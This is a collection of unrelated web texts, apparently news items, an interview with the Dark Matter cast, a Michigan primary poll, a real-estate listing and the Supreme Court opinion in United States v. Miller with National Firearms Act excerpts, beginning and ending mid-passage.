will be the first time since 1989 that there will be no left-wing party in parliament. Law and Justice won big because they offered simple, concrete policies for the many in Poland that feel untouched by the country's impressive economic growth. It offered higher child care benefits and tax breaks for the less well-off. After eight years in office many Poles had grown weary of the governing centrist Civic Platform's unfulfilled promises, scandals and what was perceived by some to be an aloof attitude. Law and Justice also stuck with its winning formula of presenting a more moderate face than its rather combative leader Jaroslaw Kaczynski. That moderate face belongs to Beata Szydlo, a 52-year-old miner's daughter and avid reader, who will become the country's next prime minister. Poland returns to conservative roots Poland elections: Conservative swing grips media Polish miner's daughter set for top job Beata Szydlo said she was grateful for the support of the Polish people. "We have won because we have been consistent in facing all the challenges ahead of us and we followed in the footsteps of the late President Lech Kaczynski," she said. "We wouldn't have won had it not been for the Polish people who told us about their expectations and needs, and who in the end voted for us." Europe's refugee crisis also proved to be a key topic of debate before the election. While the government has agreed to take in 7,000 migrants, opposition parties have spoken out against the move. Mr Kaczynski, 66, was not running as prime minister and instead nominated Ms Szydlo, a relative unknown, as the party's choice for the post. However, some observers said Mr Kaczynski - the twin brother of Poland's late president Lech - could take on the top job himself in the months to come. Last week, Mr Kaczynski was criticised for suggesting migrants could bring diseases and parasites to Poland. PiS is close to the country's powerful Roman Catholic Church and has promised increased benefits and tax breaks. It supports a ban on abortions and in-vitro fertilisation and believes a strong Nato is necessary to offset the perceived threat from Russia. Civic Platform for its part sought closer ties with the EU. Despite overseeing eight years of impressive economic growth it was beaten into second place and will become the main opposition party. -The I.W.W. - Its History, Structure, and Method Vincent ST. JOHN (1876 - 1929) “We must inscribe on our banner the revolutionary watchword, ‘Abolition of the wage system’” The Industrial Workers of the World (IWW), members of which are commonly termed "Wobblies," is an international labor union that was founded in 1905. The philosophy and tactics of the IWW are described as "revolutionary industrial unionism," with ties to both socialist and anarchist labor movements. The IWW promotes the concept of "One Big Union," and contends that all workers should be united as a social class to supplant capitalism and wage labor with industrial democracy. Vincent St. John (1876 – 1929) was an American labor leader and prominent Wobbly, among the most influential radical labor leaders of the 20th century. - Summary by Wikipedia Genre(s): Essays & Short Works Language: English -They say breast is best when it comes to nurturing a baby. That message doesn’t translate well when it comes to baked goods. An unnamed mother has stirred up outrage on Facebook after she made brownies with breast milk for a school bake sale. A post on the Sanctimommy Facebook page revealed the mother’s dilemma when she ran out of cow’s milk as an ingredient for her baking and decided to use her own breast milk as a substitution. “I didn’t have time to run to the store and didn’t think it was a big deal (some of those kids could use the nutrition let’s be honest),” the mother wrote. “And it wasn’t even that much.” The mysterious mommy stated another parent found out about the secret ingredient and was “blowing it way out of proportion.” The woman foolishly turned to the Internet for suggestions. Let’s just say the reaction to the post – which has garnered 921 shares and more than 1,000 comments on Facebook – has been mixed and emotional. “Honestly this is actually a damn near criminal offense,” one outraged commenter stated. “Breast milk, like blood or semen, can carry diseases, which is why legit donation services screen the milk before passing it along to moms and their babies.” “Secretly feeding children that aren’t yours baked goods with your bodily fluids in them is gross, shady and borderline psychotic,” another angry commenter wrote. While most of the comments were hateful, some people were confused over the situation. “But…milk isn’t even one of the ingredients for brownies…human or cow,” wrote a confused commenter. Others found humour in the situation. “But was it homogenize?” joked one person. “‘Susan. These brownies are DELISH! What’s in them? …me,’” another humourously chimed. While breast milk is good for babies, the U.S. Centers for Disease Control and Prevention notes that HIV and other serious infectious diseases can be transmitted through the liquid. -THE definition of ‘sexy news’ has been taken to a whole new level after a Swedish TV station accidentally broadcast porn in the background of a news show. THE definition of ‘sexy news’ has been taken to a whole new level after a Swedish TV station accidentally broadcast porn in the background of a news show. Station TV4 was broadcasting a discussion segment on Russia’s involvement in the Syrian crisis when viewers noticed the erotic material on a screen behind the host. Viewer Daniel Ek told Swedish paper The Local: “At first I realised I was looking at a naked woman and it quickly became clear she was having sex. It didn't take long before I realised it was a porn film. "The image wasn't exactly in focus, but it wasn't hard to figure out what was going on”, he continued. He offered his own theories as to how the mix up happened: “I had two theories. One is that someone was pissed off after getting fired and put the porno up as act of revenge. My other thought was that someone had simply screwed up.” The channel stated the incident was caused by a mix up in the feed – as the station’s parent company also operate adult channels. News editor Andreas Haglind said: “It's not like we were directly broadcasting porn. Put simply, it's crap that it happened. We're going to do everything we can so that it doesn't happen again.” -The English Channel in 6h 57min 20sec! Eric Defert and Pierre Yves Durand broke Yvan Bourgnon and Karine Baillet record. Eric Defert: “We had 25 knots of wind, reaching in 3 to 4 meters sea. We left at 8:26 am and arrived at 3:23pm! When we left for Plymouth wednesday, the forecast announced 15 knots, then in the next 48 hours, the prevision were for 20 + knots from the east. Since we were already in England, we decided to give a try. Our driver, in the ferry back to France, recorded wind up to 35 knots. It made for a strong sea. I think the record can be taken… Anybody?” Sunday morning Eric Defert was in Brest for the inauguration of the “Port of Records”. Eric was able to see in own plate made in bronze of his hands after his previous successful Atlantic Crossing on a Class 40, single handed. – Laurent Apollon. -The big 2-part Dark Matter season finale is coming up this Friday (I know … already) and to celebrate we had the opportunity to be a part of a conference call interview with several of the cast along with lead mystery wrangler, Joe Mallozzi. Joining Joe were Melissa O’Neil (Two), Jodelle Ferland (Five), Alex Mallari, Jr. (Four) and Roger Cross (Six) who answered every question we threw at them. It was a lot of fun and laughter accompanied most of the conversation. Everybody seemed to be enjoying themselves and with the exception of a few phone line issues, it went off without a hitch. Before you read any further, be warned that HERE THERE BE SPOILERS! There aren’t any large, hairy, wookiee-sized spoilers inside, but there are a few, fuzzy tribble-sized ones tossed about. I know some people would rather avoid such teases and hints, so please avert your eyes and read no further if you are one of them. For the rest of you nerds, keep on readin’ on, but before you do, remember that the Dark Matter finale is a two-parter beginning at 9/8c this Friday. That’s one hour earlier than usual. Don’t miss it! Hi, Space Cadets! Cross: No hugs, Tom. No hugs, no hugs. (This is from me frequently teasing Roger about hugs on Twitter. The fact that I’m still alive is proof he’s a very tolerant man.) With Five proving herself to be a very capable member of the crew, can you each talk about your character’s changing opinions of her? Cross: I still think Six kind of feels like he has to protect her, but he starts slowly realizing, “Wait a second, she’s smart.” There’s a comment, and it’s pretty subtle, too, that Joe wrote in there where they’re coming off the ship and she goes, “Oh, I would’ve just reprogrammed it.” And all of a sudden the bells go off and he’s like, “I didn’t know you knew how to program.” She throw him things and all of a sudden you’re like, well, maybe she’s not as helpless as she appears. Who, other than Melissa, is the best singer? And who thinks they’re the best singer that might not necessarily be? Ferland: Melissa’s the best singer. Mallari: Roger’s a nice second. Cross: Alex, you’re right there, brother! For some reason, from day one … I think it’s a very odd group of us, but we all seem to know the same songs. And we might have some sing-alongs that kinda might drive our first ADs crazy going, “They’re laughing and having too much fun! Like, stop!” And we’re like, “What? We’re just singing!” O’Neil: Alex, Roger and I all really love 90s soul and R&B. We should do a 90s music video! Cross: That would be fun. We should do that. Mallari: On the Raza. Cross: We’re still trying to get Jodelle to sing, but she keeps refusing. I don’t know why. Ferland: One day, I’m just going to belt out into song and you will all be shocked. Melissa, here’s a question for you. Dark Matter is your first television series experience. What was the most interesting or surprising thing you learned from this? O’Neil: I didn’t expect to come out with so many new friends. My entire summer has just kind of been filled with crew members and AD people and my stunt double. It’s cool. I’ve created this new posse in Toronto and besides learning a whole ton and learning a different way to tell a story, I’ve made so many new friends. Like, life-long ones, you know? How are each of you most like and most un-like your characters? Mallari: I’m not like Four at all. [laughs] Yeah, he’s too serious for my liking. Cross: You’re not serious. Mallari: That’s what I’m saying, I’m not like Four at all. I mean, the only thing I have in common with Four is I can kick ass. Ferland: I think I’m most like Five because of her quirkiness and her weirdness. I just kind of consider myself a really weird person and I’m proud of my awkwardness and strangeness. I think I’m like Five in that way, she’s pretty different and I relate to her because of that. I don’t know how I feel about her sense of style. I tend to wear one or two colors at once instead of all of them, but I love dressing like that on set and it’s a lot of fun because that’s not normally how I’d go outside. I love being able to play Five and be completely different than how I normally am, except for the quirkiness, as I said. So, yeah, other than the colors and all of the pink, we’re pretty similar. O’Neil: I don’t know, I don’t think I find as much comfort in my own skin as Two, but I don’t know. I can be pretty forthcoming with my thoughts. You’re not a custom-built biosynthetic organism, are you? O’Neil: I’m not a biosynthetic organism. I don’t think. But maybe there’s going to be a dun, dun, dunnn(!) moment in my life, I have no idea. But no, not to my knowledge. What piece of technology from the show would you want to have in real life? Mallari: Transfer Transit. O’Neil: That would be so great! Cross: That would be awesome. Ferland: It freaks me out a little, I have to admit, but I would try it. It would be cool, yeah. Mallari: Oh, and FTL! Ferland: If we’re just talking technology here, I just want the fish. Do you each have a favorite part of the ship’s physical sets? O’Neil: I like the corridors. Cross: The corridors are cool O’Neil: I love the hallways, they’re so great. They just look so industrial and grimy. I feel like in those areas, that’s where you can see that we’ve got a “beater” for a ship. It’s not like we’re flying around in some Cadillac. It’s utilitarian and I feel like the corridors really show that off the best. Ferland: I really love the bridge as well just because there’s lots to look at. There’s so many buttons and it’s fun to hang out in. Cross: We’ve got a pretty cool screen in the commissary, too. It’s the screens that never line up and drive Jodelle crazy. Jodelle, we were surprised to see that you didn’t say you liked the air ducts. With all that crawling, you need some knee pads for those. Ferland: You know, I wasn’t really sure what to expect. When I saw that I was going to be crawling through all those vents I thought, “that will be fun” and then I actually got in there and I was like, “I might’ve been a little bit wrong.” I can’t say that if I had a little bit of free time that I wouldn’t go find some vents to crawl through, but it’s definitely worth it when I watch afterwards because I go, “Wow. That looked really cool, I’m glad that I did it.” But, yeah, it’s never as much fun as you think it’s going to be, but I still enjoyed doing it. Jodelle, I know you’re a big fan of Doctor Who. There’s a great “technobabble” line uttered by the third Doctor when he says, “reverse the polarity of the neutron flow.” It became a kind of catchphrase in its day. Back in episode 10 when you were wiring up the android to open the vault door you said, “If I don’t adjust the inverter to minimize harmonic distortion we’ll get pulsating torque and the whole thing will fry.” Am I the only one who made this association? Because when I heard it I thought, “She’s got her Doctor Who moment here!” Ferland: You know what? I didn’t even think of that, but I’m so glad you mentioned it because that makes me really happy. I love my Doctor Who references even if it was by accident! Cross: And Joe will tell you it wasn’t an accident. Ferland: You never know with Joe. There are some things that seem like references to something and I’m never sure if he did it on purpose. Joe, what gave you the idea to try Periscope after the Dark Matter broadcasts? Mallozzi: Syfy UK asked if I would be interested and I was like “sure” and we did it for one of the Syfy UK broadcasts and it was delightfully awkward, but fun. And then I decided I would follow through. I’ve been live tweeting almost every week and hopefully I’ll have time to do an east and west coast Periscope and possibly one for the UK viewers as well. Do any of you have any other upcoming projects that fans can look for while we wait for a second season of Dark Matter? Cross: The final season of Continuum is coming out, as most of you probably know, September 11. I have a movie, Lockdown, that’s going to be out soon. I’m doing some episodes of Bones and I’m doing a bunch of other stuff. You’ll see me all over the place. O’Neil: I’ve just finished my last two days of shooting on a show called Rogue on DirecTV. I play this hacker girl. That’ll be out, I think, over the holiday season. And a new CBC show called This Life, which stars Torri Higginson, our Commander Truffault. I just finished doing a video game, but I can’t talk too much about that yet. Jodelle: I’ve had a pretty chill summer, actually, since Dark Matter finished. I have a couple of things I’ll be working on with friends, but nothing I can give a lot of information on at the moment. Are you or any of the writing staff fans of Big Brother? The finale reminded me, in parts, of the general distress and alliances that show up so much in that show. Mallozzi: Well, I’m going to show my age, but I don’t watch Big Brother. When I was a kid I read a lot of Agatha Christie and the finale is essentially Ten Little Indians where basically you’ve got a group of people and they start dropping one by one. There’s a dying realization that if there’s no outside force here, then it’s one of them, and as the mystery deepens distrust grows and you see alliances shift. Really, that’s where my inspiration comes, but Big Brother is a good reference, too. Can you all talk about working with Wil Wheaton? Cross: Poor Wil. Airplanes killed us that day. Remember that, Joe? Mallozzi: We were actually shooting by an airport and the poor guy has to deliver this incredibly long monologue. He’d get into it and then 30 seconds in a plane would buzz the area and we’d have to cut and start over again. He ended up delivering an entire monologue in pieces, but he was super professional and super focused and just a very nice guy to work with. Ferland: I knew we were going to have Wil Wheaton on the show, but I never got to meet him! I was so sad. What happened is that I … nobody told me. I was at the computer at home after work and I saw something on his Instagram of Facebook and it was a small piece of the Dark Matter logo and he was saying it was a hint of what he was working on. And I looked at it for a while and I thought that looks really familiar, then I was like, “Wait a minute!” Then I texted Joe right away and I was like, “Wil Wheaton’s on our show! Why didn’t you tell me?” I was very excited about it and hopefully I’ll get to meet him some day. What was everybody’s biggest surprise when you all read the finale script? Ferland: Every episode had something that shocked the team. Every time we got a script we just wanted the next one. Cross: These last few episodes, especially, we were just like, “Ahhh….” Ferland: Yeah, and we were bothering Joe non-stop asking, “Please, please give us the next episode. Tell us what happens. You can’t do this to us!” but we got nothing out of him. Cross: Except for that grin. That Mallozzi grin. O’Neil: I was watching the finale on my iPad and yelling at the screen. So we better find out, we really better get a second season. I want to know how it ends. For the rest of our extensive coverage of Dark Matter, CLICK HERE. Like this article? Share it with your friends using our social share buttons found both on the left and at the top. Subscribe to Three If By Space to keep up with all the latest posts. It’s super easy! All you have to do is click on the big, blue “Subscribe” button located in the right panel near the bottom of each post or just Click Here. Stay connected: Follow @ThreeIfBySpace on Twitter for all the latest geekiness from all your favorite shows, movies, comics, conventions and more! For all the latest Dark Matter news and reviews, follow me (@Thogar) on Twitter. The Dark Matter 2-part finale airs Friday, August 28 at 9/8 central on Syfy Dark Matter official website Like Dark Matter on Facebook Follow Dark Matter on Twitter -An exclusive Mitchell FOX 2 Detroit Poll of Michigan finds that Donald Trump and Hillary Clinton hold large leads over their nearest GOP and Democratic opponents, respectively. In a head to head matchup, Trump holds a 47 - 43 percent lead over Clinton with 10 percent undecided. The latest Mitchell poll data has Trump holding a 3-1 lead over his two closest opponents in the Michigan Republican Presidential Primary. Trump has 51 percent compared to U.S. Sen. Ted Cruz who is in second place at just 15 percent and U.S. Sen. Marco Rubio who is in third with 12 percent. They are followed by Florida Gov. Jeb Bush, Michigan native Dr. Ben Carson, and New Jersey Gov. Chris Christie all at five percent. Three percent are voting for someone else and 5 percent are undecided. The automated survey of 493 likely March 2016 Michigan Republican Presidential Primary voters was conducted by Mitchell Research & Communications January 25, 2016 and has a Margin of Error of + or - 4.41 percent at the 95 percent level of confidence. On the Democratic side former Secretary of State Hillary Clinton is at 61 percent with a big lead over Sen. Bernie Sanders (34 percent) and Martin O'Malley (four percent) in a trial ballot test. The data comes from the latest Mitchell-FOX 2 Detroit IVR (Interactive Voice Response) survey of 344 March 2016 Michigan Democratic Presidential Primary voters conducted by Mitchell Research and Communications January 25, 2016. The poll has a margin of error of + or - 5.28 percent at the 95 percent level of confidence. -Got a cool 2.4 million dollars sitting around and a love for 80’s movies? The home made famous by a crashing Ferarri and Cameron’s refusal to give into his father any more is currently on the market. THE BEN ROSE HOME-site of the famous movie “Ferris Bueller’s Day Off”, cantilevered over the ravine, these two steel and glass buildings, which can never be duplicated, have incredible vistas of the surrounding woods. This is a unique property designed by A. James Speyer and David Haid, both notable architects of the 20th Century. Estate Sale Sold “As Is” No disclosures! This is an amazing architectural treasure. As is? Does that include all of the movie memorabelia reportedly still in the home? It’s a 4 bedroom, 4 bath home with roughly 5300 square feet of living space. If I can get 2,400 to each contribute $1000 . . . well, I’ll be leaving the country. But wow, that would be a cool home to own. [tags]movies, beuller[/tags] -Bank of America and Citigroup incorrectly accounted for billions of dollars in debt over the past three years, according to a report from the Wall Street Journal. The report highlights a form of corporate borrowing increasingly under scrutiny since the financial crisis began. The loans, known as "repos," or short-term repurchase agreements, allow banks to increase the amount of risk they can take in securities trading. Both BofA and Citigroup disclosed in filings with the Securities and Exchange Commission that they have over the last three years accidentally classified some repos as sales when they should have been classified as borrowings, the newspaper reported. The amounts involved were small for the banks, though they totaled billions. It is illegal under federal securities rules to intentionally conceal debt and mislead investors. Bank of America and Citigroup claim the accounting flaws were purely accidental and represent minute portions of their overall operations. Bank of America, in addressing errors that reached up to $10.7 billion per quarter, noted that the flaws ”represented substantially less than 1 percent of our total assets," the Wall Street Journal reports. -Image caption One of the freshwater arowanas that has been rehomed at a Cheshire aquarium Four large fish used in a drug smuggling operation have been re-homed at a Cheshire aquarium. The freshwater arowanas were used in an attempt to smuggle 17kg of cocaine, with a street value of £1.6m, from Colombia to the UK in 2011. The drugs were hidden in sealed bags containing more than 16,000 tropical fish, most of which died in transit. The fish, along with eight pacus and a large catfish, were transported to Blue Planet Aquarium, near Ellesmere Port. Of the 16,000 fish found, only 34 fish survived. Some were looked after at London Zoo and some were transferred to Bristol Zoo. Aquarium curator David Wolfenden said: "Clearly the smugglers did not care at all about the fishes' welfare and the fact that nearly all of them perished during the smuggling operation is extremely sad. "It's something of a miracle that any managed to survive the ordeal and we're glad they can now live out their time here with us in a large, purpose-built display." The largest of the pacus is a metre long and weighs almost 40kg. The aquarium hopes to use the fish to promote the Big Fish Campaign - an initiative to try and raise awareness of the problems caused by the sale of fast-growing exotic fish species. -The Court cannot take judicial notice that a shotgun having a barrel less than 18 inches long has today any reasonable relation to the preservation or efficiency of a well regulated militia, and therefore cannot say that the Second Amendment guarantees to the citizen the right to keep and bear such a weapon. 1. Not unconstitutional as an invasion of the reserved powers of the States. Citing Sonzinsky v. United States, 300 U.S. 506 , and Narcotic Act cases. P. 177. The National Firearms Act, as applied to one indicted for transporting in interstate commerce a 12-gauge shotgun with a barrel less than 18 inches long without having registered it and without having in his possession a stamp-affixed written order for it, as required by the Act, held: Opinion MCREYNOLDS, J., Opinion of the Court MR. JUSTICE McREYNOLDS delivered the opinion of the Court. An indictment in the District Court, Western District Arkansas, charged that Jack Miller and Frank Layton did unlawfully, knowingly, willfully, and feloniously transport in interstate commerce from the town of Claremore in the State of Oklahoma to the town of Siloam Springs in the State of Arkansas a certain firearm, to-wit, a double barrel 12-gauge Stevens shotgun having a barrel less than 18 inches in length, bearing identification number 76230, said defendants, at the time of so transporting said firearm in interstate commerce as aforesaid, not having registered said firearm as required by Section 1132d of Title 26, United States Code (Act of June 26, 1934, c. 737, Sec. 4 [§ 5], 48 Stat. 1237), and not having in their possession a stamp-affixed written order for said firearm as provided by Section 1132c, Title 2, United States Code (June 26, 1934, c. 737, Sec. 4, 48 Stat. 1237) and the regulations issued under authority of the said Act of Congress known as the "National Firearms Act," approved June 26, 1934, contrary to the form of the statute in such case made and provided, and against the peace and dignity of the United States. [n1] [p176] A duly interposed demurrer alleged: the National Firearms Act is not a revenue measure, but an attempt to usurp police power reserved to the States, and is therefore unconstitutional. Also, it offends the inhibition of the Second Amendment to the Constitution -- "A well regulated Militia, being necessary to the security of a free State, the right of people to keep and bear Arms, shall not be infringed." [p177] The District Court held that section eleven of the Act violates the Second Amendment. It accordingly sustained the demurrer and quashed the indictment. The cause is here by direct appeal. Considering Sonzinsky v. United States (1937), 300 U.S. 506, 513, and what was ruled in sundry causes arising [p178] under the Harrison Narcotic Act [n2] -- United States v. Jin Fuey Moy (1916), 241 U.S. 394, United States v. Doremus (1919), 249 U.S. 86, 94; Linder v. United States (1925), 268 U.S. 5; Alston v. United States (1927), 274 U.S. 289; Nigro v. United States (1928), 276 U.S. 332 -- the objection that the Act usurps police power reserved to the States is plainly untenable. In the absence of any evidence tending to show that possession or use of a "shotgun having a barrel of less than eighteen inches in length" at this time has some reasonable relationship to the preservation or efficiency of a well regulated militia, we cannot say that the Second Amendment guarantees the right to keep and bear such an instrument. Certainly it is not within judicial notice that this weapon is any part of the ordinary military equipment, or that its use could contribute to the common defense. Aymette v. State, 2 Humphreys (Tenn.) 154, 158. The Constitution, as originally adopted, granted to the Congress power -- To provide for calling forth the Militia to execute the Laws of the Union, suppress Insurrections and repel Invasions; To provide for organizing, arming, and disciplining, the Militia, and for governing such Part of them as may be employed in the Service of the United States, reserving to the States respectively, the Appointment of the Officers, and the Authority of training the Militia according to the discipline prescribed by Congress. With obvious purpose to assure the continuation and render possible the effectiveness of such forces, the declaration and guarantee of the Second Amendment were made. It must be interpreted and applied with that end in view. The Militia which the States were expected to maintain and train is set in contrast with Troops which they [p179] were forbidden to keep without the consent of Congress. The sentiment of the time strongly disfavored standing armies; the common view was that adequate defense of country and laws could be secured through the Militia -- civilians primarily, soldiers on occasion. The signification attributed to the term Militia appears from the debates in the Convention, the history and legislation of Colonies and States, and the writings of approved commentators. These show plainly enough that the Militia comprised all males physically capable of acting in concert for the common defense. "A body of citizens enrolled for military discipline." And further, that ordinarily, when called for service these men were expected to appear bearing arms supplied by themselves and of the kind in common use at the time. Blackstone's Commentaries, Vol. 2, Ch. 13, p. 409 points out "that king Alfred first settled a national militia in this kingdom," and traces the subsequent development and use of such forces. Adam Smith's Wealth of Nations, Book V, Ch. 1, contains an extended account of the Militia. It is there said: "Men of republican principles have been jealous of a standing army as dangerous to liberty." In a militia, the character of the labourer, artificer, or tradesman, predominates over that of the soldier: in a standing army, that of the soldier predominates over every other character, and in this distinction seems to consist the essential difference between those two different species of military force. "The American Colonies In The 17th Century," Osgood, Vol. 1, ch. XIII, affirms in reference to the early system of defense in New England -- In all the colonies, as in England, the militia system was based on the principle of the assize of arms. This implied the general obligation of all adult male inhabitants to possess arms, and, with certain exceptions, to [p180] cooperate in the work of defence. The possession of arms also implied the possession of ammunition, and the authorities paid quite as much attention to the latter as to the former. A year later [1632] it was ordered that any single man who had not furnished himself with arms might be put out to service, and this became a permanent part of the legislation of the colony [Massachusetts]. Also, Clauses intended to insure the possession of arms and ammunition by all who were subject to military service appear in all the important enactments concerning military affairs. Fines were the penalty for delinquency, whether of towns or individuals. According to the usage of the times, the infantry of Massachusetts consisted of pikemen and musketeers. The law, as enacted in 1649 and thereafter, provided that each of the former should be armed with a pike, corselet, head-piece, sword, and knapsack. The musketeer should carry a "good fixed musket," not under bastard musket bore, not less than three feet, nine inches, nor more than four feet three inches in length, a priming wire, scourer, and mould, a sword, rest, bandoleers, one pound of powder, twenty bullets, and two fathoms of match. The law also required that two-thirds of each company should be musketeers. The General Court of Massachusetts, January Session 1784, provided for the organization and government of the Militia. It directed that the Train Band should "contain all able bodied men, from sixteen to forty years of age, and the Alarm List, all other men under sixty years of age, . . ." Also, That every noncommissioned officer and private soldier of the said militia not under the controul of parents, masters or guardians, and being of sufficient ability therefor in the judgment of the Selectmen of the town in which he shall dwell, shall equip himself, and be constantly provided with a good fire arm, etc. By an Act passed April 4, 1786, the New York Legislature directed: That every able-bodied Male Person, being [p181] a Citizen of this State, or of any of the United States, and residing in this State, (except such Persons as are hereinafter excepted) and who are of the Age of Sixteen, and under the Age of Forty-five Years, shall, by the Captain or commanding Officer of the Beat in which such Citizens shall reside, within four Months after the passing of this Act, be enrolled in the Company of such Beat. . . . That every Citizen so enrolled and notified shall, within three Months thereafter, provide himself, at his own Expense, with a good Musket or Firelock, a sufficient Bayonet and Belt, a Pouch with a Box therein to contain not less than Twenty-four Cartridges suited to the Bore of his Musket or Firelock, each Cartridge containing a proper Quantity of Powder and Ball, two spare Flints, a Blanket and Knapsack; . . . The General Assembly of Virginia, October, 1785, (12 Hening's Statutes) declared, The defense and safety of the commonwealth depend upon having its citizens properly armed and taught the knowledge of military duty. It further provided for organization and control of the Militia, and directed that "All free male persons between the ages of eighteen and fifty years," with certain exceptions, "shall be inrolled or formed into companies." "There shall be a private muster of every company once in two months." Also that Every officer and soldier shall appear at his respective muster-field on the day appointed, by eleven o'clock in the forenoon, armed, equipped, and accoutred, as follows: . . . every non-commissioned officer and private with a good, clean musket carrying an ounce ball, and three feet eight inches long in the barrel, with a good bayonet and iron ramrod well fitted thereto, a cartridge box properly made, to contain and secure twenty cartridges fitted to his musket, a good knapsack and canteen, and moreover, each non-commissioned officer and private shall have at every muster one pound of good [p182] powder, and four pounds of lead, including twenty blind cartridges, and each serjeant shall have a pair of moulds fit to cast balls for their respective companies, to be purchased by the commanding officer out of the monies arising on delinquencies. Provided, That the militia of the counties westward of the Blue Ridge, and the counties below adjoining thereto, shall not be obliged to be armed with muskets, but may have good rifles with proper accoutrements, in lieu thereof. And every of the said officers, non-commissioned officers, and privates, shall constantly keep the aforesaid arms, accoutrements, and ammunition ready to be produced whenever called for by his commanding officer. If any private shall make it appear to the satisfaction of the court hereafter to be appointed for trying delinquencies under this act that he is so poor that he cannot purchase the arms herein required, such court shall cause them to be purchased out of the money arising from delinquents. Most if not all of the States have adopted provisions touching the right to keep and bear arms. Differences in the language employed in these have naturally led to somewhat variant conclusions concerning the scope of the right guaranteed. But none of them seems to afford any material support for the challenged ruling of the court below. In the margin, some of the more important opinions and comments by writers are cited. [n3] We are unable to accept the conclusion of the court below, and the challenged judgment must be reversed. The cause will be remanded for further proceedings. MR. JUSTICE DOUGLAS took no part in the consideration or decision of this cause. That for the purposes of this Act -- (a) The term "firearm" means a shotgun or rifle having a barrel of less than eighteen inches in length, or any other weapon, except a pistol or revolver, from which a shot is discharged by an explosive if such weapon is capable of being concealed on the person, or a machine gun, and includes a muffler or silencer for any firearm whether or not such firearm is included within the foregoing definition [The Act of April 10, 1936, c. 169, 49 Stat. 1192 added the words], but does not include any rifle which is within the foregoing provisions solely by reason of the length of its barrel if the caliber of such rifle is .22 or smaller and if its barrel is sixteen inches or more in length. Sec. 3. (a) There shall be levied, collected, and paid upon firearms transferred in the continental United States a tax at the rate of $200 for each firearm, such tax to be paid by the transferor, and to be represented by appropriate stamps to be provided by the Commissioner, with the approval of the Secretary, and the stamps herein provided shall be affixed to the order for such firearm, hereinafter provided for. The tax imposed by this section shall be in addition to any import duty imposed on such firearm. Sec. 4. (a) It shall be unlawful for any person to transfer a firearm except in pursuance of a written order from the person seeking to obtain such article, on an application form issued in blank in duplicate for that purpose by the Commissioner. Such order shall identify the applicant by such means of identification as may be prescribed by regulations under this Act: Provided, That, if the applicant is an individual, such identification shall include fingerprints and a photograph thereof. (c) Every person so transferring a firearm shall set forth in each copy of such order the manufacturer's number or other mark identifying such firearm, and shall forward a copy of such order to the Commissioner. The original thereof, with stamps affixed, shall be returned to the applicant. (d) No person shall transfer a firearm which has previously been transferred on or after the effective date of this Act, unless such person, in addition to complying with subsection (c), transfers therewith the stamp-affixed order provided for in this section for each such prior transfer, in compliance with such regulations as may be prescribed under this Act for proof of payment of all taxes on such firearms. Sec. 5. (a) Within sixty days after the effective date of this Act every person possessing a firearm shall register, with the collector of the district in which he resides, the number or other mark identifying such firearm, together with his name, address, place where such firearm is usually kept, and place of business or employment, and, if such person is other than a natural person, the name and home address of an executive officer thereof: Provided, That no person shall be required to register under this section with respect to any firearm acquired after the effective date of, and in conformity with the provisions of, this Act. Sec. 6. It shall be unlawful for any person to receive or possess any firearm which has at any time been transferred in violation of section 3 or 4 of this Act. Sec. 11. It shall be unlawful for any person who is required to register as provided in section 5 hereof and who shall not have so registered, or any other person who has not in his possession a stamp-affixed order as provided in section 4 hereof, to ship, carry, or deliver any firearm in interstate commerce. Sec. 12. The Commissioner, with the approval of the Secretary, shall prescribe such rules and regulations as may be necessary for carrying the provisions of this Act into effect. Sec. 14. Any person who violates or fails to comply with any of the requirements of this Act shall, upon conviction, be fined not more than $2,000 or be imprisoned for not more than five years, or both, in the discretion of the court. Sec. 16. If any provision of this Act, or the application thereof to any person or circumstance, is held invalid, the remainder of the Act, and the application of such provision to other persons or circumstances, shall not be affected thereby. Sec. 18. This Act may be cited as the "National Firearms Act." -And for this sparsely populated land, the recent fighting seems a step beyond the army’s desert skirmishes with the Tuaregs in the 1960s, the early 1990s and again in 2006. This time, the rebels are not being quickly stamped out or fleeing to the rocky mountains of this vast, inhospitable region. To the contrary, officials now say they are facing perhaps the most serious threat ever from the Tuaregs. Emboldened by their new weaponry, they have formed a made-to-order liberation movement, the M.N.L.A., or Mouvement National Pour la Libération de l’Azawad — Azawad being the name they give to northern Mali. “Our goal is to liberate our lands from Malian occupation,” said Moussa Ag Acharatoumane, one of the rebel spokesmen in exile in France. The rebels — perhaps as many as 1,000, commanded by a former colonel in Libya’s army — brought with them enough of an arsenal to create a kind of standoff with the Malian Army. Photo “Heavy weapons,” said Mali’s foreign minister, Soumeylou Boubèye Maïga, referring to the new arms. “Antitank weapons. Antiaircraft weapons.” Malian military officials agree. “Robust, powerful machine guns,” said Lt. Col. Diarran Kone of the Defense Ministry. “Mortars,” he added, describing the weaponry as “significant enough to allow them to achieve their objectives.” About a half-dozen towns in the north have been attacked, including Niafounké. Both government and rebel forces have suffered casualties, and nearly 10,000 civilians have fled the fighting, according to the International Committee of the Red Cross. Advertisement Continue reading the main story The situation appears to have worsened for the Mali government over the past few days. The rebels have retaken the town of Ménaka, a military spokesman, Idrissa Traoré, acknowledged Friday, adding that a number of soldiers and civilians — he refused to say how many — had been killed by the rebels in the town of Aguelhok. In Bamako, the capital, families of soldiers have demonstrated against what they say is the government’s poor handling of the rebel offensive, blocking roads and burning tires. The defense minister has been replaced, and reprisals have been reported against Tuareg citizens living in the south. Officials in Bamako make no secret of their shock at what one Western diplomat called the “robustness” of the rebel incursion. “All of a sudden we found ourselves face to face with a thousand men, heavily armed,” said Mr. Maïga, the foreign minister. “The stability of the entire region could be under threat.” Newsletter Sign Up Continue reading the main story Please verify you're not a robot by clicking the box. Invalid email address. Please re-enter. You must select a newsletter to subscribe to. Sign Up You will receive emails containing news content , updates and promotions from The New York Times. You may opt-out at any time. You agree to receive occasional updates and special offers for The New York Times's products and services. Thank you for subscribing. An error has occurred. Please try again later. View all New York Times newsletters. The Malians, who viewed Colonel Qaddafi as a generous benefactor — he helped build an administrative complex here, among other things — now find themselves gnashing their teeth over this less beneficent aspect of his legacy. Still, officials here insist that the situation in the north is under control, while acknowledging that the threat is not over. Analysts who study the region agree that the latest Tuareg resurgence is something new, and that Colonel Qaddafi is largely responsible, posthumously. “This is a fairly significant military force,” said Pierre Boilley, a Tuareg expert at the University of Paris. “The game has changed. They can directly attack the Malian Army. I think the army will have trouble.” The new Tuareg campaign “shows a pretty serious military and logistical capability,” said Yvan Guichaoua, a Sahara expert at the University of East Anglia, in Britain. The Tuareg spokesmen are cagey about disclosing the precise dimensions of their arsenal, hinting only that they owe Colonel Qaddafi a good deal. “The Libyan crisis shook up the order of things,” Mr. Acharatoumane said. “A lot of our brothers 